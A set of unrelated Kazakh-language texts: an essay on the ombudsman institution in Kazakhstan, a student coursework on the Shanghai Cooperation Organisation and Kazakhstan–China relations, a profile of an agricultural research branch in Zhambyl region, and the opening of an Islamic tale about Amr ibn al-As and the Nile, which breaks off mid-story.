Омбудсмен мəртебесіне қатысты кейбір мəселелерді салыстырмалы-құқықтық зерттеу бұл институттың жалпы белгілерін анықтауға мүмкіндік туғызды.
Омбудсмен институтының таралуы дүниежүзілік қауымдастық саясатының Екінші дүниежүзілік соғыстан кейін адам құқықтарын қорғайтын ұлттық тəуелсіз мекемелерді құру мен қоғамның демократиялануының қорытындысы болып табылады.
Омбудсмен əрекетінің басты міндеті — азамат құқықтарын қорғау. Бұл оны əрекеттің бақылау мен қадағалаудың парламенттік, соттық, əкімшілік жəне т.б. нысандарымен қатар жүзеге асырылған құқықтық тəртіпті қорғау жүйесінің элементі ретінде анықтады.
Омбудсмен институты Конституцияға немесе арнайы заңға сай құрылады. Қазақстанда омбуд- смен институты 2002 жылдың 16 қыркүйегінде «Адам құқықтары жөнінде уəкіл лауазымын құру ту- ралы» Президенттің Жарлығымен енгізілді, бірақ 2002 жылдағы Үкіметтің заң жобалық жұмыстарының жоспарында «Адам құқықтары жөнінде уəкіл туралы» заң жобасын Парламентте қарастырылды. Қазақстан омбудсмені өзінің əрекетін республика Президентімен бекітілген Адам құқықтары жəне Уəкіл туралы ережеге сəйкес жүзеге асырады.
Омбудсмен институты Париждік қағидаларға сəйкес тəуелсіз, қолжетерлік, сондай-ақ басқа ор- гандармен, Үкіметтік емес құқық қорғау ұйымдармен қызметтес, жедел жəне есептес болу керек.
Омбудсмен лауазымы мемлекеттің жоғарғы лауазымына жатады. Дүниежүзілік елдердің заңдылығын зерттеу омбудсмен лауазымы Конституциялық соттың төрағасына немесе оның мүшелеріне Жоғарғы Соттың төрағасы немесе судьяларына, не Үкімет төрағасының орынбасары лауазымына теңестірілетінін көрсетеді.
Адам құқықтары жөнінде уəкіл əрекетінің қажетті шарты — оның саяси бейтараптылығы. Ом- будсмендер əділетті, объективті болу қажет. Көптеген елдердің заң шығарушылары омбудсменге сая- си əрекетпен айналысуға тыйым салады (Ресей, Молдова, Грузия т.б.).
Омбудсмен көп жағдайда істі тек шешімдер мен əкімшілік əрекеттерінің заңға сəйкестігі тара- пынан ғана қарастырмайды, сонымен бірге олардың əрекеттерінің адамгершілігі, əділеттілігі, мақсатқа сəйкестігі жөнінде шешім шығарады.
Елдің əр түрлі əлеуметтік-саяси шарттарына байланысты омбудсмен институты өзінің негізгі белгілері мен мазмұнын өзгертпей, жаңарту қабілетіне ие. Омбудсмендік үлгілердің көпқырлығын ескере отырып, бастысы деп, оның қызметтік бағытын айтамыз. Бұл институттың қандай да бір ны- санды, үлгіні беру үшін қатаң шектеулерді бекітуге болмайды.
Омбудсменнің бақылау шараларының нəтижелері, ең алдымен, өз құқықтарын жүзеге асыруға жəне мемлекеттік əкімшіліктің қызметінде бұзушылықтарды өзгертуге бағытталған. Бұған жету үшін тек омбудсмен үшін тəн құралдарды қолданады. Ол сендіру, сын, жариялылық əдістерін қолданады.
Омбудсмен болған кепілдік жəне құқық қорғау органдардың жүйесін толықтырады, мемлекеттік қызметкерлердің əрекеттерінің дұрыстығында күмəн туындағанда, азаматтарды қарсылық білдірудің тағы бір жолымен қамтамасыз етеді; бұл жағдаймен мүмкін болғанша бюрократиялық заңсыз əрекеттерін азайтуына жол ашады. Омбудсменнің болуының өзі қоғамның мемлекеттік органдардың тиісті əрекеті де, оның азаматтарымен жақсы қарым-қатынасты қалыптастыруда мүдде білдірудің белгісі, адамның ар-ождан құндылығының өзара ерік пен құрметтің дəлелі болып табылады. Институттың үлкен тəжірибелік мəні бұқаралық қызметкерлерге ескертпелі ықпалында көрініс табады. Шағымдар лауазымды тұлғалардың хабарсыздығы, кері таным жағдайларын айқындайды.
Тіпті шамалы жеке зақым азамат пен мемлекет арасында шиеленісті тудыруы мүмкін, бұл себептен лауазымды тұлғалар мен клиенттердің, тұлғалардың өзара қатынасының жұмсаруында мүдде білдірген демократиялық мемлекеттер шынайы түрде бұл озық құқықтық институтты қабылдады [5].
Тəуелсіздікті алу мезетінен Қазақстан Республикасы өзінің пейілін демократиялық түрлендіруге қалыптастырды. Бұл бағыттағы əрекеттердің бірі ОБСЕ (БДиПЧ) адам құқықтары мен демократиялық институттар жөніндегі Бюромен өзара түсінушілік туралы Республика Үкіметімен 1998 жылда меморандумға қол қою болды. Оған сəйкес Қазақстанда омбудсмен офисін құру үшін техникалық жəрдемнің жобасы дайындалды.
Атқарушы билік органдарының əрекетіне адам құқықтары мен бостандықтарына қатысты бақылау мен қадағалауды жүзеге асырушы органдар жүйесінде омбудсмен институты маңызды орынға ие. Оның құрылуы мен əрекеті мемлекет пен азамат арасындағы қатынастарда жаңа жол ашты. Дүниежүзінің əр түрлі елдерінде қоғамдық қатынастардың бұндай саласын реттейтін механизмдердің алуан түрлері, сонымен бірге азамат құқықтары мен атқарушы билік органдарының əрекетінде заңдылықтың сақталуын қадағалайтын органдардың тұтастай жүйесі бар. Тəжірибе көрсеткендей, басқарушылықта жауапкершілік пен заңдылықтың қағидаларын нормативті түрде бекіту ғана жеткіліксіз, олардың іс жүзінде іске асырылатын шарттар құру мен олардың əрекет етуіне жолдар қалыптастыру маңызды болып табылады. Бұндай қажеттілік, бірінші жағынан, биліктің қандайда немқұрайлығынан, əділетсіздіктен қорғауға қажетті азаматтардың мүдделерімен білдіріледі, ал екінші жағынан — бұндай бақылау атқару билігінің мүддесі үшін де қажет.
Азаматтың көзқарасынан омбудсмен, ең алдымен, егер азамат əкімшілік шешіммен, оның қабылдау үрдісімен, сонымен қатар мемлекеттік аппараттың қызметкерлердің əрекеттерімен қанағаттандырылмаған жағдайда жолдауға болатын лауазымды тұлғаны білдіреді. Омбудсмен басқа мемлекеттік органдарға қатысты парламенттің дəстүрлі бақылау қызметтерін толықтырады.
Арнайы жылдық есептер мен баяндамаларды зерттеу негізінде жүргізілген омбудсмендердің əрекеттері мен олар жөнінде заңдылықты талдау азамат құқықтарын қорғаудың құқықтық мəселелерін осы институттар арқылы қарастыруға мүмкіндік береді.
Барлық елдер үшін əкімшілік əрекетті бақылаудың барлық нысандары да маңызды болып табыла береді. Альваро Хиль-Роблестің байқауынша, қазіргі таңда соттық немесе парламенттік бақылау азаматты мемлекеттік əкімшіліктің заңсыз əрекеттерінен тиімді жəне жеткілікті деңгейдегі қорғауды қамтамасыз ете алатынын ешкім дəл бекіте алмайды. Қазіргі қоғамның шындығы азамат бұрынғыдай емес əділетсіздіктен, билікпен қиянат етуден, мəжбүрлеуден, тағы басқадай қорғаныста қажетілікке душар болатындығында. Қорғауды қамтамасыз ету үшін барлық тиімді əдістер жақсы. Ғылыми əдебиетте Омбудсмен институтына мəнді сипаттамалардың біртұтас ұғымы жоқ. Оларды жиі омбудсмен үлгіде құрылған немесе омбудсмендік идеяға негізделген институттар деп атайды. В.В.Бойцованың ойынша, бұл идеяның кең таралуы «омбудсмен» атауын иелену тəжірибесіне «квазиомбудсмендер» деп атауға тиісті, омбудсмендіктен алшақ қызметтерді орындайтын мəселелердің сыншыл емес қатынасының нəтижесі болды [6].
2002 жылдың 19 науырызында Женевада өткен адам құқықтары жөнінде БҰҰ Комитетінің 58-ші сессиясында Қазақстан Республикасының Шетел істерінің мемлекеттік министр-хатшысы Қ. Тоқаев Омбудсмен институты Қазақстанда 2002 жылдың 30 тамызында құрылатындығын айтты. ҚР Конституциясының жеті жылдығын тойлауына қатысты халықтың Президенті Н.Ə. Назарбаев сөз сөйлеуде «тұлғаның құқықтары мен бостандықтарын соттан тыс қорғау механизмдерінің дамуы халықаралық тəжірибесі көптеген демократиялық мемлекеттерде, оның ішінде ТМД-да сəтті қызмет ететін адам құқықтары жөнінде уəкіл институтының қалыптасуына себеп болды» деп белгіледі. Адам құқықтарын қорғаудың ұлттық жүйесін толтыратын бұндай институт 2002 жылдың 19 қыркүйегінде Президенттің жарлығымен құрылды. Бұл қоғам демократиялануының маңызды əрекетіне айналды жəне халықаралық ұйымдармен байқалды. Сол уақытта ОБСЕ бұл институт толық көлемде халықаралық үлгі-қалыптарға, оның ішінде БҰҰ-ң Париждік қағидаларына сай келетінін айтты.
Қорытындылай келе, омбудсмен заңдылықты жүзеге асыруда жəне азаматтардың құқықтары мен бостандықтарын қорғауда алатын жəне алуға тиіс ролі аталған шарттарды сақтауда ерекше маңызды мəнге ие. Бұл институт адамның негізгі құқықтары мен бостандықтарын қорғаудың маңызды түрлерінің бірі болып табылғандығы сөзсіз, бұл сапада ол демократиялық санатқа жататын мемлекеттердің бірінде де артық болып санала алмайды жəне саналуға тиіс емес.
Əдебиеттер тізімі
Мюллерсон Р.А. Права человека. — М.: Юрид. лит., 1991.
Фридмэн Л. Введение в амариканское право. — М.: Наука, 1993.
Хиль-Роблес А. Парламантский контроль за администрацией. — М.: Норма, 1997.
Лентовская Е. Как начиналась работа уполномоченного по гражданским правам. — М.: Наука, 1997. .
Башимов М.С. Институт омбудсмена в странах СНГ и Балтии // Правовая реформа в Казахстане. — — № 4. — С. 15. |
Азия қауіпсіздігі туралы айтқан кезде Шанхай ынтымақтастық ұйымы туралы айтпай кетуге болмайды. Бұл ұйым КСРО мен ҚХР арасындағы күрт егес жағдайында қиындықпен тамыр жайды. Кеңес-Қытай қатынастары қалпына келе бастағаннан кейін шекара ауданында сенім шараларын нығайту туралы мәселелерді қарау үшін бірлескен топ құруға шешім қабылдады. Бұл уағдаластыққа сол кездегі министрлер Э. Шеварднадзе мен Цянь Цичэнь өз қолдарын қойып ресімдеді. Топтың кеңестік бөлігінде сол кезде осы күрделі үдерістің алға жылжуына зор үлес қосқан тәжірибелі қытайтанушылар Генрих Киреев пен Виталий Воробьев жұмыс істеді.
КСРО тарағаннан кейін осы аса маңызды салада одан әрі жұмыс істеу туралы мәселе тұрды. Әлі есімде, 1992 жылы наурызда мені Ресей Сыртқы істер министрлігіне шақырып, жұмысты жаңа пішімде жалғастыру қажетттігі туралы ұзақ түсіндірген-ді: бір тарап – Қытай, ал екінші тарап – біртұтас делегацияға біріккен жаңа тәуелсіз мемлекеттер болмақ. Келіссөздерді осындай пішімде жүргізу жөнінде ҚХР – мен жарты жыл бойы қызу пікір талас жүрді. Ресейліктер КХР мен ортақ шекарасы бар бұрынғы кеңес елдері құрамында біртұтас делегация құруды талар етті. Мемлекеттер бөлектеніп кеткен екен, онда оларға Қытаймен келіссөздерді әрқайсысы өздері жүргізгендерді дұрыс деген басқа да пікір болды. Бірақ түптеп келгенде, салауатты ой жеңді және осынау күрделі жағдайда Қытай жағы сындарлық көрсетті. Пекин Ресей жағының өкілі басқаратын бірлескен делегациямен жұмыс істеуге дайынбыз, егер бұған басқа мемлекеттер қарсы болмаса деп мәлімдеді.
Біз Қазақстанда бұл мәселені талқылаған кезде біздің жас мемлекетіміз үшін Қытаймен шекара ауданында сенім шаралары проблемасы төтенше маңызы бар екендігін негізге алдық. Сондықтан Қытаймен келіссөздерді жалғастыруға шешім қабылданды. 1992 жылғы 8 қыркүйекте мен Президенттің тапсырмасымен Минскіде шекара ауданында сенім шараларын қамтамасыз ету жөнінде Қытаймен келіссөздер үшін Ресей, Қазақстан, Қырғызстан және Тәжікстан құрамында бірлескен делегация құру туралы баяндалған хаттамаға қол қойдым .
«Шанхай бестігі» кездесуінің өзі өте жемісті өтті. Цзян Цзэмин бес шекарамаңылық мемлекеттің ынтымақтастығын дамытудың мәні жөнінен бағдарламасы іспетті болған сөзі баршаның есінде қалды. Кездесуге қатысушыларға Қытай «Шанхай бестігін» дамытуға бірінші дәрежелі маңыз беретіндігі және оны іске қабілетті ұйымға айналдыру мақсатын көздейтіні кездесуге қатысушылардың бәріне де түсінікті болды. Біздің Презитентіміз
Н.Ә.Назарбаевта осы тұрғыда сөйледі. Оның ұсынысы бойынша Бірлескен мәлімдемеге қол қойылды, онда Азия құрлығындағы қауіпсіздік және ынтымақтастықты кеңейту проблемаларын қарау үшін сыртқы істер министрлері, үкіметтер басшылары және мемлекеттер басшылары деңгейінде ұдайы кездесіп отыру қажеттігі туралы айтылды.
Жаңа ұйымда бұрын бірде бір блокқа, бірде-бір ұйымға кірмеген Қытай басшылық рөлді өзіне алғаны атап айтар жәйт. 70 – жылдары Қытайдың халықаралық лексикасында ешқандайда себеппен, қандай да бір халықаралық ұйымға кірмеу деген мағына беретін «бу цземэн» деген термин болатын. Бірақ геосаяси ақиқаттың өзгеруімен Пекин айтарлықтай икемділік танытып, іс жүзінде Орталық – Азия сияқты маңызды аймаққа өз ықпалын жүргізу ниетін аңғартты.
Баспасөз маслихатының алдында Қытай премьері Чжу Жунцзи: «АҚШ-ғы жаратылыстардан соң бір түн ішінде ғана Қытайда алтын-валюта қоры 10 миллиард доллорға азайып кетті»,- деп мәлімдеді. Қытайлық әріптесімнің Нью-Йорк мэрі Р. Джулианидің зәулімдер үйіндісінің орнына одан да сәулетті жаңа ғимараттар салумен айналысатын боламын деп мәлімдеген қылығына күйінгені есімде қалыпты: «Ол камера алдында қаздиа қалғанша, әлі де құтқаруға болатын адамдар туралы ойласайшы»,- деп мәлімдеді Қытай басшысы Цзян Цзэмин. Жалпы алғанда үкіметтер басшыларының Алматы кездесуі кезінде үлкен өкініш және халықаралық лаңкестіктің төніп келе жатқан жаңа қатеріне алаңдаушылық көңіл ауғанын қатты сезіліп тұр.
Сондықтан «Шанхай бестігінің» Алматы отырысы қалыптасып келе жатқан ұйым аясында өзара іс-қимылды дамытуда өзіндік серпіліс болды деп сеніммен айта аламын .
Қазақстан Республикасының Президенті Н.Ә. Назарбаев рәсімде бес мемлекет басшылары қол қойған шекара ауданындағы әскери саладағы сенімді нығайту жөніндегі келісімге қол қойылуы Азия-Тынық мұхит аймағындағы осындай әскери саяси деңгейдегі және географиялық ауқымдағы алғашқы құжат болып табылатындығын мәлімдеді. Осындай бірегей келісімнің әрекет ету аясында орасан зор әскери әлеуетті өзара бақылау, ал кейіннен оны қысқарту көзделіп отыр. Осындай келісім Азия-Тынық мұхит аймағында және жалпы алғанда Жер шарының бейбітшілік пен тұрақтылықты қолдап, одан әрі нығайтуға ықпал ететіні сөзсіз.
Осы келісім елдеріміздің арасындағы байланыстарды екі жақты да, көп жақты да дәйекті әрі жемісті дамыту үшін берік негіз қалап отыр.
Осы актінің бірегейлігін мынадан көруге болады: бес мемлекет ұзақ уақытқа созылған келіссөз барысында аса маңызды проблемаларды шешуге деген біртұтас тұжырымдамалық көзқарасқа келді.
Президент Н. Назарбаев келісімнің тағы бір маңызды басымдығын атап өтті. Онда келісімдерді орындау процедурасына және өзара бақылауды жүзеге асыруға байланысты барлық мәселелер мен мерзімдер әбден айқын ескерілген.
2006 жылы 13 маусым күні Қазақстан Республикасының Президенті Н.Ә. Назарбаев Шанхай ынтымақтастық ұйымы мемлекет басшылар кеңесінің кезекті саммитіне қатысу үшін Шанхайға келді. Қазақстан өз кезегінде ШЫҰ – ның белсенді мүшелердің бірі ретінде бас қосудың тұжырымдық қорытындысына айрықша мән береді.
ШЫҰ негізінде аймақтық қауіпсіздігі негізінде нығаюмен қатар оған мүше елдер арасындағы өзара сенімділік серпіні жаңа бағыт алуда. Атап айтқанда инвестиция игілігінің нәтижесі және сауда-экономикалық байланыстардың жақсаруы – жоғарыда айтып отырған ұйым жұмысының жемісті болуының арқасы.
Елбасы Н.Ә. Назарбаев КХР-дің төрағасы Ху Цзиньтао мен кездесіп, екі ел арасында экономикалық және көршілік қарым-қатынастарды жақсартудың болашағы жағдайында әңгіме өрбітті. Бұл бас қосу «Шанхай бестігінің» он жылдығына арналғандықтан Қытай жағы аталмыш Саммиттің мерекелік деңгейде өтуіне жақсы жағдай жасалған.
ШЫҰ-ның ұстанып отырған бірегей саясатына Батыс елдері де назар аудара бастаған. Өйткені жыл өткен сайын ұйымның бейбіт ұстанымы мен саяиси көрегендігі әлемдегі тұрақтылықты талап етеді. Сондықтан да жаңа өмірлік бастамалар аталмыш ұйымның кеңесінде дүниеге келіп жатқаны мәлім. Осының айқын айғағындай, саммит жұмысын әлем қауымдастығын насихаттау үшін әлемнің әр түпкірінен үш жүзге жуық журналистер келген.
Мелекет басшысы Н. Назарбаев Қытайдың жетекші бұқаралық ақпарат құралдарының тілшілеріне сұхбат бере отырып, журналистардің « Қазақстан – Қытай қарым-қатынасының келешегі кандай?»,- деген сұрауға толық қанды жауап қайтарды.
Естеріңізге сала кетейік, – деді Елбасы. – Тәуелсіздік алғаннан кейін Қазақстан Қытаймен қарым-қатынасын « нөлден» бастады деуге болады. Ал, бүгінде екі жақты қарым-қатынастар стратегиялық серіктестік деңгейіне көтеріліп отыр. Екі жақты байланыстарды дамытудың бірінші маңызды нәтижесін ерекше атап өткім келеді. Біріншіден, 2002 жылғы желтоқсан айындағы Қазақстан мен Қытайдың арасындағы тату көршілік, достық және ынтымақтастық туралы шартқа қол қойды. Бұл екі жақты қатынасты әрі қарай дамытудың тарихи ірге тасы. Екіншіден шекара мәселесі толық реттелді. Үшіншіден эконоимкалық ынтымақтастық нығайтылды. Бүгінгі күні екі ел арасындағы тауар айналымы 6 миллиард доллордан асып отыр. Былтыр төраға Ху Цзиньтао екеуміз тауар айналымы көрсеткішін 10 миллиард доллорға жеткізу туралы міндет қойдық. Біз Қытай сияқты қарқынды дамушы елмен өзара тиімді байланыстарға балама жоқ деп санаймыз.
Тақырыптың зерттелу деңгейі – ШЫҰ туралы жазылған деректер, құжаттар, шыққан еңбектер, мақалалар көптеп табылады. Бұл ұйым туралы саяси көзқарас бейнелерді, болған оқиғаларды, өткен кездесулер мен скммиттер, сонымен бірге оның көптеген қарама-қайшылықтары жетерлік болып табылады. Осы ұйымға байланысты мақалалар мен тарихи ойлар жазылып шығарылған. Солардың негізгілері мыналар болып табылады:
Н.Ә.Назарбаев, «Сындарлы он жыл»., Алматы, Атамұра 2003ж, Н.А. Назарбаев «На пороге XXI века», -Алматы 1996г, -с 220, Н.Ә. Назарбаев «Тарих толқынында», -Алматы 1999. -197 б, С.Абдулпаттаев « Қазақстан Республикасының сыртқы саясаты» – 75-80беттер, 1-2-3-ші кітаптарынан, Тоқаев К.Қ. «Беласу»., Дипломатиялық очерктер., -Алматы., 2003ж, -386-396 беттер, Тоқаев К.Қ. «Тәуелсіздік туы астында», -Алматы 1997 ж., – 192-194, Г.Б. Хан, Л.С. Суваров, Г.Б. Рахманов. «Қазақстан Республикасының сыртқы саясаты» Монография., -Алматы 2003ж, -165-188 беттер.
«Егемен Қазақстан» газеттерінен 6 шілде, 2005ж «Тереңдей түскен түсіністік», 5-б, «Әріптестік», «ШЫҰ-ға қатысу қазақ мемлекеттілігін бекемдеу факторларының бірі», «ШЫҰ Қазақсатан сыртқы саясатының басым бағыты», «ШЫҰ-ның негізгі жетістіктері», «ШЫҰ-ның тиімділігін арттыру» -5-6-шы беттер,. «Егемен Қазақстан» 2005ж, 6 шілде №150-151(24109) Алып Азияның ұлы ұйымы, -1-2беттер, ШЫҰ-на мүше мемлекеттер басшыларының Декларациясы – 1-2 беттер., «Заң газеті» 2005ж, 6 шілде, №56 Ұйымның беделі артып келеді, -1б., «Егемен Қазақстан» 2005ж, 1 шілде, Қауіпсіздік пен тұрақтылық – қоғам дамуының алғышарттары, -1-2 беттер., «Дала мен Қала» 2005ж, 8 шілде, №27 (104) Елорда тізгінді Пекинге берді, -5б, Қазақстан үшін бұл ұйымның экономикалық, саяси маңызы бар, -6б, Маңыздысы өз ерекшелігіңді сақтай білу, -5-6беттер., «Жас Қазақ»2005ж,8 шілде №27 (27) ШЫҰ әлі сәбидің жасында, -5, Кеше «бестік», бүгін «алтылық». Ертең ше? -1-4 беттер, Бізге масыл болып отыратын одақтас керегі жоқ, -4б, АҚШ қарап қалмаса кере-ті, -5-6 беттер., «Егемен Қазақстан», Әлем Астанаға көз тігеді, -6 б, Азия алыптары ШЫҰ-ға ұмтылады, -5б., Қ.К. Тоқаев Қазақстан және қауіпсіздік // Егемен Қазақстан 2004ж, 27 қазан.,
«Егемен Қазақстан» газеттері, Астана хабары, Ақиқат № 8, Дипломатия жаршысы, ШЫҰ Хартиясын бекіту туралы Қазақстан Республикасының заңы №422, Дала мен Қала, Алматы ақшамы, Пезидент және Халық, Жас қазақ, ҚР-ның Парламентінің жаршысы №11, ШЫҰ Хартиясын бекіту туралы ҚР-ның Заңдары №465, Ақ Орда, т.б деректер мен еңбектер оның тарихи маңыздылығы мен міндеті төменде көрсетіледі.
Курстық жұмыстың мақсаты – негізінен бұл ұйымның қалыптасу жағдайы мен оның себептеріне және де кезеңдер төңірегіндегі саяси белсенділікке тұжырымдар жасаумен олардың ішкі және саяси күштерінің қалыптасып дамуына оны халық бұқарасының белсенділігінің артуымен сипатталады. Осы себептерге байланысты курстық жұмыстың да алдына қойған мақсаттары мен міндеттерінің келесі тұжырымы мыналар болып табылады:
– ШЫҰ алдына қойған мақсаттары мен қызметі;
-Басшылардың бір-бірімен кездесуі нәтижесіндегі қол қойылған құжаттар;
– Мемлекеттер арасындағы қарым-қатынасы;
– Сауда, қауіпсіздік, экономика, инвестиция саласындағы қызметтері және саясаттарының қорытындыларын пайымдап, кеінгі мәселелерге талдау жасау болып табылады.
Зерттеу жұмысының қолданбалық маңызы – курстық жұмыс ШЫҰ мәселелелерін қазіргі уақыттағы талапқа сай және оның белсенділігінің сонымен қатар жаңашылдылығының көзделуін, жаңа көзқараспен зерттелген құжаттардың қатарын толықтыра түседі. Осы зерттеу барысындағы жұмыстар, құжаттар және қорытындыларды ШЫҰ саяси және құқықтық ойлар дерегі, сонымен бірге тақырыпта қозғалатын мәселелер мен міндеттердің жиынтығын болашақ жұмыстарда пайдалану.
Зерттеу жұмысының деректік негізі – осы курстық жұмысты жазу барысында, Қазақстан Республикасының Ұлттық кітапханасынан, Ы. Алтынсарин кітапханасынан, Ғылым Академиясының Орталық кітапханасынан және университеттетдегі кітапханалардан, сонымен қатар интернет желісіндегі мптериялдарға сүйене отырып, осы тақырыпқа арналған әдебиеттерден алынды.
Курстық жұмыстың құрылымы – негізгі кіріспеден, басты екі тараудан, қорытынды және пайдаланылған әдебиеттер тізімінен тұрады. Міне, осы басты деген курстық жұмыстың негізгі талаптарына сай өрбу жүргізіледі.
I тарау.Қазақстан- Қытай ынтымақтастығының негізгі мақсаттары.
Қазақстан-қытай ынтымақтастығын жөнге салу бірінші қадам Кеңес Одағының кезінде Қазақ ССР–ның Президенті Н.Ә. Назарбаевтың 1991ж. шілдеде Қытай Халық Республикасына барған сапарынан басталады. Ол кезде өз тәуелсіздігін жариялаған Қазақстан Кеңес Одағының бір бөлігі болып қалды, сондықтан тікелей серіктестік ретінде біздің елмен шекараласқан Шынжан –Ұйғыр автономиялық аймақпен байланысу таңдап алынған. Қазақ ССР және Шынжан арасындағы принциптерімен негізгі ынтымақтастық бағыттары туралы Келісімге қол қойылды.
Тараптар келісімде ең жақын көрші ретінде бір біріне сенушілік және ынтымақтастықты қатынас ретінде мәлімдеді.
Екі жақ тауар айырбасын, қаржы қызметі және экономика саласында ынтымақтастықты нығайту үшін қолайлы жағдайды жасауды міндеттеді.
1990 жылы Қазақстан мен Қытай арасындағы темір жолдың ашылуына ризашылық білдірлді. Қазақстанның тынық мұхит жағалауына қысқа жолмен жетуіне үміт пайда болды.
Сол кезде екі ел үкіметтерінің арасында Сауда келісіміне қол қойылған болатын.
Бес жылдан кейін Н.Ә.Назарбаев өзінің естелігінде: « Біз үшін Қытаймен дұрыс достық қатынас – бұл тағы да бір бейбітшілікке жол. Қазақстанға ол кезде тек қана ресей арқылы өтетін жол болған. Солай істеу Орталыққа тиімді блды. Осындай жағдай пайда болғандықтан сыртқы рынокқа балама жол іздедік».
Қазақстан Республикасы мен ҚХР арасында дипломаттық қатынас 3 қаңтар 1992 жылы орнатылды. Дипломатиялық қатынасты орнату туралы біріккен коммюникеде: «Екі ел халықтарының мүдделерін сәйкес Қазақстан Республикасы мен Қытай Халық Республикасының Үкіметтері арасында елшілер деңгейіндегі дипломатиялық қатынас 3 қаңтар 1992 жылы орнатды шешті. Екі ел Үкіметтері екі ел арасындағы достықты, ынтымақтастықты нығайту үшін екі жақты тәуелсіздікті құрметтеу және аумақтың тұтастығын, жеке басқа қол сұқпушылық, бір бірінің ішкі істеріне араласпаушылық, теңдік пен екі жақты пайда және бейбітшілікте өмір сүруге клісім жасажы.
Қытай Халық Республикасының Үкіметі Қытайдың жалғыз заңды Үкіметі болғанын және Тайвань Қытайдың бөлінбейтін бір бөлігі екенін Қазақтан Республикасының үкіметі мойындайды. Қазақстан Республикасының Үкіметі Тайваньмен қандай түрде болса да ресми қатынас орнатпайтынын дәлелдейді».
1992 жылы қарашада Алматыға ҚХР Сыртқы істер министрі Цянь Цияэнь ресми сапармен келді.
1993 жылы қазанда Президент Н.Ә.Назарбаевтың ҚХР–на алғашқы ресми сапары болды.
Н.Ә.Назарбаев ҚХР Төрағасы Цянь Цзэминмен кездесуінде Қазақстан халықаралық істерде барлық мемлекеттердің үлкен де, орташа, кіші тнң құқықтылығын батыл қолдайды және ҚХР-мен қарым-қатынаста басымдылық сипат көрсетуде деп атап өтті. Ол Біріккен Декларация ынтымақтастықтың ұзаққа бағытталған негізгі құқықтық құжаты деп сипаттайды.
Әсіресе Президент шекараны бөлуге, қарулы күштерді қысқарту және шекара аумағында сенім шараларын нығайтуға айрықша көңіл бөлді. Ол Лобнордағы ядролық жарылыс туралы мәселені көтерді, өтіп жатқан сынақтар Қазақстан тарапын алаңдатып отырғанын атап өтті.
Н.Ә.Назарбаев Қазақстан қытай Тынық мұхит порттарына шығуы туралы ойын айтты
ҚХР Төрағасы Цзянь Цзэминьді келіссөздің ағымы мен мазмұны толығымен қанағаттандырады. «Біз екі жақтың қарым-қатынастарының дамуын қолдаймыз және Сіздің Қазақстан мен Қытай арасындағы достық пен ынтымақтастыққа қосқан үлесіңізді жоғары бағалаймыз, Қазақстан мен ҚХР Азияда көрнекті орын алатын мемлекеттер,- деп қытай басшысы атап көрсетті» . Ол Қазақстанмен достық және ынтымақтастықты нығайтуда ҚХР барлық мүмкіндіктерді жасайтынын баса айтты. Ұлттық сепаратизмге деген ҚХР-ның ұстанымын Н.Ә.Назарбаевтың қолдағаны үшін ҚХР Төрағасы алғысын білдірді. Ол былай деді: «Біз ҚХР-ын бөлшектеу әрекеттернің кез келген түріне үзілді-кесілді қарсымыз. ҚХР-да және Орта Азия аумағындағы тұрақтылық – бір біріне әсер ететін, өзара байланысты үрдістер».
«Жоғары деңгейдегі кездесу- бұл екі жақты қатынастың бетбұрыс кезеңі екенін барлық келіссөзге қатынасушылар түсінеді,- деп Қ.К. Тоқаев тұжырымдады. Қол қойылған Декларация келісім-шарт түріндегі қазақстан-қытай қатынастарының негізгі қағидаларын бекітті». Бұл құжаттың аса маңызы ішкі істерге араласпау, тәуелсіздікті өзара құрметтеу және аймақтың тұтастығы туралы ережелер болды».
1995 жылы қыркүйек айында Президент Н.Назарбаевтың ҚХР-на екінші ресми сапары болып өтті. Президент Н.Ә.Назарбаев пен Төраға Цзянь Цзэминьнің келіссөзі, сондай-ақ Президент пен ҚХР Мемлекеттік кеңес Премьері Ли Пзннің кездесулері болды…. |
12 сәуір 2006жылы Республикалық Мемлекеттік Қазыналық Мекеме Жамбыл облыстық тәжірибе станциясының базасында Жамбыл облыстық әкімшілігінің № 49 3-ші ақпан2006 жылғы қаулысы,Қазақстан Республикасы Үкіметінің 10мамыр 2006 жылғы №378 қаулысы бойынша «Егіншілік және өсімдік шаруашылығы ғылыми –өндірістік орталығы»ЖШС-нің Жамбыл филиалы болып құрылды.
Заңды тұлға филиалын есептік қайта тіркеу туралы куәлігі №3-1919-02-ф-л 16 қараша 2006ж.
«ҚазАгро Инновация»акционерлік қоғамының №8 шілденің 23 жұлдызы 2008 жылғы шешімі,«ҚЕӨШҒЗИ» ЖШС-нің №17 шілденің 29жұлдызы 2008жылғы бұйрығымен «Қазақ егіншілік және өсімдік шаруашылығы ғылыми –зерттеу институты»ЖШС Жамбыл филиалы болып өзгерді.
Заңды тұлға филиалын есептік қайта тіркеу туралы куәлігі № 8-1919-02-ф-л 13 ақпан 2008ж.
Жамбыл филиалы Қазақстан Республикасының оңтүстік аймағы Жамбыл облысы,Жамбыл ауданы Аса ауылы қаладан 35 км,Тараз қаласынан 15км қашықтықта орналасқан.
Климаттық жағдайы жылы,жазы ыстық,қысы суық,жауын-шашын орта есеппен жылына 580мк түседі.
Негізгі бағыты тұқым шаруашылығы.Өндіру ,элиталық сорттағы бидай,арпа,соя,сафлор сату.
Шаруашылықтың орталық жөндеу шеберханасы,астық коймасы,асфальтталынған мех тогі,әкімшілік ғимараты бар. |
Мысыр елі Омардың (р.а.) ел басқарған халифалығы тұсында мұсылмандардың қолына өтті. Мысырды мұсылмандардың қол астына қаратқан даңқты қолбасшы – Амр ибн Ас еді.
Мысыр халқы Амр ибн Асқа өздеріндегі әдет-ғұрыптарды таныстыра келіп:
– Ей, қолбасшы! Біздің салт-санамыз бойынша Маусым айының он екінші түні үйлене қоймаған жас қызды барынша сәндеп, әдемі киіндіреміз. Сөйтеміз де Ніл өзеніне тастаймыз. Біз бұны Ніл өзені арнасынан тасып, маңайындағы егіндіктерді суғару үшін жасаймыз, – деп түсіндірді.
Амр ибн Ас мысырлықтарға:
– Бұл Исламға мүлдем жат нәрсе. Ислам діні бұрынғы барлық жаман әдеттерді жойды, – деді.
Алайда сол жылғы маусым, шілде, тамыз айларында Ніл өзенінің суы тасымай Ніл жағалай күн көретін халық құрғақшылыққа ұшырап қатты қиналды. Халық жапа-тармағай көшуді жөн көрді.
Амр ибн Ас болса жағдайды баяндап, халифаға хат жіберді. Хатты алған Омар (р.а.) іле-шала былай деп жауап жазды:
